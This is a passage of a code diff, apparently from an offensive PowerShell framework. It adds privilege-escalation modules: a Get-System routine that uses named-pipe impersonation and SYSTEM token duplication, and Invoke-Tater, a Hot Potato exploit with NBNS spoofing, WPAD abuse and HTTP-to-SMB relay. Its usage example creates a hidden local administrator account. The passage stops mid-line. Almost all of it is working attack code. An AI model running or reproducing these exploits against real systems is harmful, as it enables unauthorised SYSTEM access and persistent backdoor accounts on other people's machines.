$UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # performs named pipe impersonation to elevate to SYSTEM without needing + # SeDebugPrivilege + function Local:Get-SystemNamedPipe { + param( + [String] + $ServiceName = "TestSVC", + + [String] + $PipeName = "TestSVC" + ) + + $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" + + # create the named pipe used for impersonation and set appropriate permissions + $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + + $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() + + # Declare/setup all the needed API function + # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient + $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) + $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) + + $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle + $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) + $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) + + $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA + $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) + $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) + + $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA + $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) + $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) + + $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA + $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) + $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) + + $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA + $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) + $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) + + $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService + $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) + $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) + + $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError + $GetLastErrorDelegate = Get-DelegateType @() ([Int]) + $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) + + # Step 1 - OpenSCManager() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + Write-Verbose "Opening service manager" + $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) + Write-Verbose "Service manager handle: $ManagerHandle" + + # if we get a non-zero handle back, everything was successful + if ($ManagerHandle -and ($ManagerHandle -ne 0)) { + + # Step 2 - CreateService() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # 0x10 = SERVICE_WIN32_OWN_PROCESS + # 0x3 = SERVICE_DEMAND_START + # 0x1 = SERVICE_ERROR_NORMAL + Write-Verbose "Creating new service: '$ServiceName'" + try { + $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) + $err = $GetLastError.Invoke() + } + catch { + Write-Warning "Error creating service : $_" + $ServiceHandle = 0 + } + Write-Verbose "CreateServiceA Handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)) { + $Success = $True + Write-Verbose "Service successfully created" + + # Step 3 - CloseServiceHandle() for the service handle + Write-Verbose "Closing service handle" + $Null = $CloseServiceHandle.Invoke($ServiceHandle) + + # Step 4 - OpenService() + Write-Verbose "Opening the service '$ServiceName'" + $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) + Write-Verbose "OpenServiceA handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)){ + + # Step 5 - StartService() + Write-Verbose "Starting the service" + $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) + $err = $GetLastError.Invoke() + + # if we successfully started the service, let it breathe and then delete it + if ($val -ne 0){ + Write-Verbose "Service successfully started" + # breathe for a second + Start-Sleep -s 1 + } + else{ + if ($err -eq 1053){ + Write-Verbose "Command didn't respond to start" + } + else{ + Write-Warning "StartService failed, LastError: $err" + } + # breathe for a second + Start-Sleep -s 1 + } + + # start cleanup + # Step 6 - DeleteService() + Write-Verbose "Deleting the service '$ServiceName'" + $val = $DeleteService.invoke($ServiceHandle) + $err = $GetLastError.Invoke() + + if ($val -eq 0){ + Write-Warning "DeleteService failed, LastError: $err" + } + else{ + Write-Verbose "Service successfully deleted" + } + + # Step 7 - CloseServiceHandle() for the service handle + Write-Verbose "Closing the service handle" + $val = $CloseServiceHandle.Invoke($ServiceHandle) + Write-Verbose "Service handle closed off" + } + else { + Write-Warning "[!] OpenServiceA failed, LastError: $err" + } + } + + else { + Write-Warning "[!] CreateService failed, LastError: $err" + } + + # final cleanup - close off the manager handle + Write-Verbose "Closing the manager handle" + $Null = $CloseServiceHandle.Invoke($ManagerHandle) + } + else { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + Write-Warning "[!] OpenSCManager failed, LastError: $err" + } + + if($Success) { + Write-Verbose "Waiting for pipe connection" + $Pipe.WaitForConnection() + + $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() + + $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) + Write-Verbose "ImpersonateNamedPipeClient: $Out" + } + + # clocse off the named pipe + $Pipe.Dispose() + } + + # performs token duplication to elevate to SYSTEM + # needs SeDebugPrivilege + # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + Function Local:Get-SystemToken { + [CmdletBinding()] param() + + $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv') + $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False) + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType]) + $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null + $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType() + + $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType]) + $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LuidStruct = $LuidTypeBuilder.CreateType() + + $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType]) + $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null + $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType() + + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType]) + $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) + $PrivilegesField.SetCustomAttribute($AttribBuilder) + $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() + + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'advapi32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'kernel32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType]) + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcess', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [IntPtr], + @([UInt32], [Bool], [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'CloseHandle', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'DuplicateToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Int32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'SetThreadToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcessToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'LookupPrivilegeValue', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([String], [String], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'AdjustTokenPrivileges', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32Methods = $Win32TypeBuilder.CreateType() + + $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} + $GetCurrentProcess = $Win32Native.GetMethod( + 'GetCurrentProcess', + [Reflection.BindingFlags] 'NonPublic, Static' + ) + + $SE_PRIVILEGE_ENABLED = 0x00000002 + $STANDARD_RIGHTS_REQUIRED = 0x000F0000 + $STANDARD_RIGHTS_READ = 0x00020000 + $TOKEN_ASSIGN_PRIMARY = 0x00000001 + $TOKEN_DUPLICATE = 0x00000002 + $TOKEN_IMPERSONATE = 0x00000004 + $TOKEN_QUERY = 0x00000008 + $TOKEN_QUERY_SOURCE = 0x00000010 + $TOKEN_ADJUST_PRIVILEGES = 0x00000020 + $TOKEN_ADJUST_GROUPS = 0x00000040 + $TOKEN_ADJUST_DEFAULT = 0x00000080 + $TOKEN_ADJUST_SESSIONID = 0x00000100 + $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY + $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor + $TOKEN_ASSIGN_PRIMARY -bor + $TOKEN_DUPLICATE -bor + $TOKEN_IMPERSONATE -bor + $TOKEN_QUERY -bor + $TOKEN_QUERY_SOURCE -bor + $TOKEN_ADJUST_PRIVILEGES -bor + $TOKEN_ADJUST_GROUPS -bor + $TOKEN_ADJUST_DEFAULT -bor + $TOKEN_ADJUST_SESSIONID + + [long]$Luid = 0 + + $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) + $tokPriv1Luid.Count = 1 + $tokPriv1Luid.Luid = $Luid + $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED + + $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + + $htoken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) + + $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) + $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) + + if(-not($RetVal)) { + Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop + } + + $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + + $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { + try { + $OwnerInfo = $_.GetOwner() + if ($OwnerInfo.Domain -and $OwnerInfo.User) { + $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() + + if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { + $Process = Get-Process -Id $_.ProcessId + + $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) + if ($Handle) { + $Handle + } + } + } + } + catch {} + } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 + + if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { + Write-Error 'Unable to obtain a handle to a system process.' + } + else { + [IntPtr]$SystemToken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "OpenProcessToken result: $RetVal" + Write-Verbose "OpenProcessToken result: $LastError" + + [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero + $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "DuplicateToken result: $LastError" + + $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + if(-not($RetVal)) { + Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop + } + + Write-Verbose "SetThreadToken result: $LastError" + $null = $Win32Methods::CloseHandle($Handle) + } + } + + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { + Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop + } + + if($PSBoundParameters['WhoAmI']) { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + return + } + + elseif($PSBoundParameters['RevToSelf']) { + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $RetVal = $RevertToSelf.Invoke() + if($RetVal) { + Write-Output "RevertToSelf successful." + } + else { + Write-Warning "RevertToSelf failed." + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + else { + if($Technique -eq 'NamedPipe') { + # if we're using named pipe impersonation with a service + Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName + } + else { + # otherwise use token duplication + Get-SystemToken + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } +} diff --git a/data/module_source/privesc/Invoke-Tater.ps1 b/data/module_source/privesc/Invoke-Tater.ps1 new file mode 100644 index 000000000..c6ed25d69 --- /dev/null +++ b/data/module_source/privesc/Invoke-Tater.ps1 @@ -0,0 +1,1572 @@ +Function Invoke-Tater +{ +<# +.SYNOPSIS +Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec. + +.DESCRIPTION +Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation with functionality similiar to Potato.exe available at https://github.com/foxglovesec/Potato. + +.PARAMETER IP +Specify a specific local IP address. An IP address will be selected automatically if this parameter is not used. + +.PARAMETER SpooferIP +Specify an IP address for NBNS spoofing. This is needed when using two hosts to get around an in-use port 80 on the privesc target. + +.PARAMETER Command +Command to execute as SYSTEM on the localhost. Use PowerShell character escapes where necessary. + +.PARAMETER NBNS +Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofing. + +.PARAMETER NBNSLimit +Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly. + +.PARAMETER ExhaustUDP +Default = Disabled: (Y/N) Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution. + +.PARAMETER HTTPPort +Default = 80: Specify a TCP port for the HTTP listener and redirect response. + +.PARAMETER Hostname +Default = WPAD: Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Note that localhost is always listed as direct. + +.PARAMETER WPADPort +Default = 80: Specify a proxy server port to be included in a the wpad.dat file. + +.PARAMETER Trigger +Default = 1: Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task + +.PARAMETER TaskDelete +Default = Tater: (Y/N) Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs. + +.PARAMETER Taskname +Default = Tater: Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname. + +.PARAMETER RunTime +(Integer) Set the run time duration in minutes. + +.PARAMETER ConsoleOutput +Default = Enabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup status messages. + +.PARAMETER ShowHelp +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER Tool +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + +.EXAMPLE +Invoke-Tater -Command "net user Tater Spring2016 /add && net localgroup administrators Tater /add" + +.LINK +https://github.com/Kevin-Robertson/Tater +#> + +# Default parameter values can be modified in this section +param +( + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNSLimit="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ExhaustUDP="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$TaskDelete="Y", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="127.0.0.1", + [parameter(Mandatory=$false)][int]$HTTPPort="80", + [parameter(Mandatory=$false)][int]$RunTime="", + [parameter(Mandatory=$false)][ValidateSet(0,1,2)][int]$Trigger="1", + [parameter(Mandatory=$true)][string]$Command = "", + [parameter(Mandatory=$false)][string]$Hostname = "WPAD", + [parameter(Mandatory=$false)][string]$Taskname = "Tater", + [parameter(Mandatory=$false)][string]$WPADPort="80", + [parameter(Mandatory=$false)][array]$WPADDirectHosts, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + throw "$($invalid_parameter) is not a valid parameter." +} + +if(!$IP) +{ + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + +if(!$Command) +{ + Throw "You must specify an -Command if enabling -SMBRelay" +} + +if($tater.running) +{ + Throw "Invoke-Tater is already running, use Stop-Tater" +} + +$global:tater = [hashtable]::Synchronized(@{}) + +$tater.running = $true +$tater.console_queue = New-Object System.Collections.ArrayList +$tater.status_queue = New-Object System.Collections.ArrayList +$tater.console_input = $true +$tater.SMB_relay_active_step = 0 +$tater.trigger = $Trigger + +if($StatusOutput -eq 'y') +{ + $tater.status_output = $true +} +else +{ + $tater.status_output = $false +} + +if($Tool -eq 1) # Metasploit Interactive Powershell +{ + $tater.tool = 1 + $tater.newline = "" + $ConsoleOutput = "N" +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $tater.tool = 2 + $tater.console_input = $false + $tater.newline = "`n" + $ConsoleOutput = "Y" + $ShowHelp = "N" +} +else +{ + $tater.tool = 0 + $tater.newline = "" +} + +if($Trigger -eq 2) +{ + $NBNS = 'N' +} + +# Write startup messages +$tater.status_queue.add("$(Get-Date -format 's') - Tater (Hot Potato Privilege Escalation) started")|Out-Null +$tater.status_queue.add("Local IP Address = $IP") |Out-Null + +if($HTTPPort -ne 80) +{ + $tater.status_queue.add("HTTP Port = $HTTPPort")|Out-Null +} + +if($NBNS -eq 'y') +{ + $tater.status_queue.add("Spoofing Hostname = $Hostname")|Out-Null + + if($NBNSLimit -eq 'n') + { + $tater.status_queue.add("NBNS Bruteforce Spoofer Limiting Disabled")|Out-Null + } +} +else +{ + $tater.status_queue.add("NBNS Bruteforce Spoofing Disabled")|Out-Null +} + +if($SpooferIP -ne '127.0.0.1') +{ + $tater.status_queue.add("NBNS Spoofer IP Address = $SpooferIP")|Out-Null +} + +if($WPADDirectHosts.Count -gt 0) +{ + $tater.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null +} + +if($WPADPort -ne 80) +{ + $tater.status_queue.add("WPAD Port = $WPADPort")|Out-Null +} + +if($ExhaustUDP -eq 'y') +{ + $tater.status_queue.add("UDP Port Exhaustion Enabled")|Out-Null +} + +if($Trigger -eq 0) +{ + $tater.status_queue.add("Relay Trigger Disabled")|Out-Null +} +elseif($Trigger -eq 1) +{ + $tater.status_queue.add("Windows Defender Trigger Enabled")|Out-Null +} +elseif($Trigger -eq 2) +{ + $tater.status_queue.add("Scheduled Task Trigger Enabled")|Out-Null + $tater.taskname = $Taskname -replace " ","_" + + if($TaskDelete -eq 'y') + { + $tater.status_queue.add("Scheduled Task Prefix = $Taskname")|Out-Null + $tater.status_queue.add("Scheduled Task Deletion Enabled")|Out-Null + $tater.task_delete = $true + } + else + { + $tater.status_queue.add("Scheduled Task = $Taskname")|Out-Null + $tater.status_queue.add("Scheduled Task Deletion Disabled")|Out-Null + $tater.task_delete = $false + } +} + +if($ConsoleOutput -eq 'y') +{ + $tater.status_queue.add("Real Time Console Output Enabled")|Out-Null + $tater.console_output = $true +} +else +{ + if($tater.tool -eq 1) + { + $tater.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null + } + else + { + $tater.status_queue.add("Real Time Console Output Disabled")|Out-Null + } +} + +if($RunTime -eq '1') +{ + $tater.status_queue.add("Run Time = $RunTime Minute")|Out-Null +} +elseif($RunTime -gt 1) +{ + $tater.status_queue.add("Run Time = $RunTime Minutes")|Out-Null +} + +if($ShowHelp -eq 'y') +{ + $tater.status_queue.add("Run Stop-Tater to stop Tater early")|Out-Null + + if($tater.console_output) + { + $tater.status_queue.add("Use Get-Command -Noun Tater* to show available functions")|Out-Null + $tater.status_queue.add("Press any key to stop real time console output")|Out-Null + $tater.status_queue.add("")|Out-Null + } +} + +if($tater.status_output) +{ + while($tater.status_queue.Count -gt 0) + { + write-output($tater.status_queue[0] + $tater.newline) + $tater.status_queue.RemoveRange(0,1) + } +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id +$process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID)) +$process_ID = $process_ID -replace "-00-00","" +[Byte[]]$tater.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[CHAR][CONVERT]::toint16($_,16)} + +# Begin ScriptBlocks + +# Shared Basic Functions ScriptBlock +$shared_basic_functions_scriptblock = +{ + Function DataLength + { + param ([int]$length_start,[byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + Function DataToString + { + param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data) + + $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) + $string_data = $string_data -replace "-00","" + $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + return $string_extract + } + + Function DnsFlushResolverCache + { + $DNS_member_definition = @' + [DllImport("dnsapi.dll", EntryPoint="DnsFlushResolverCache")] + private static extern UInt32 DnsFlushResolverCache(); + + public static void FlushResolverCache() + { + UInt32 result = DnsFlushResolverCache(); + } +'@ + + Add-Type -MemberDefinition $DNS_member_definition -Namespace DNSAPI -Name Flush -UsingNamespace System.Collections,System.ComponentModel + [DNSAPI.Flush]::FlushResolverCache() + } + + Function StopTater + { + $tater.console_queue.add("$(Get-Date -format 's') - Stopping HTTP listener") + $tater.HTTP_client.Close() + start-sleep -s 1 + $tater.HTTP_listener.server.blocking = $false + Start-Sleep -s 1 + $tater.HTTP_listener.server.Close() + Start-Sleep -s 1 + $tater.HTTP_listener.Stop() + + if($tater.SMBRelay_success) + { + if($tater.trigger -eq 2) + { + if($tater.task_delete -and $tater.task_added) + { + $scheduled_task_deleted = $false + $schedule_service = new-object -com("Schedule.Service") + $schedule_service.connect() + $scheduled_task_folder = $schedule_service.getfolder("\") + $scheduled_task_list = $scheduled_task_folder.gettasks(1) + + foreach($scheduled_task in $scheduled_task_list) + { + if($scheduled_task.name -eq $tater.task) + { + $scheduled_task_folder.DeleteTask($scheduled_task.name,0) + } + } + + ForEach($scheduled_task in $scheduled_task_list) + { + if($scheduled_task.name -eq $tater.task) + { + $scheduled_task_deleted = $true + } + } + + if($scheduled_task_deleted) + { + $tater.console_queue.add("$(Get-Date -format 's') - Scheduled task " + $tater.task + " deleted successfully") + } + else + { + $tater.console_queue.add("$(Get-Date -format 's') - Scheduled task " + $tater.task + " deletion failed, remove manually") + } + } + elseif($tater.task_added) + { + $tater.console_queue.add("$(Get-Date -format 's') - Remove scheduled task " + $tater.task + " manually when finished") + } + } + + $tater.console_queue.add("$(Get-Date -format 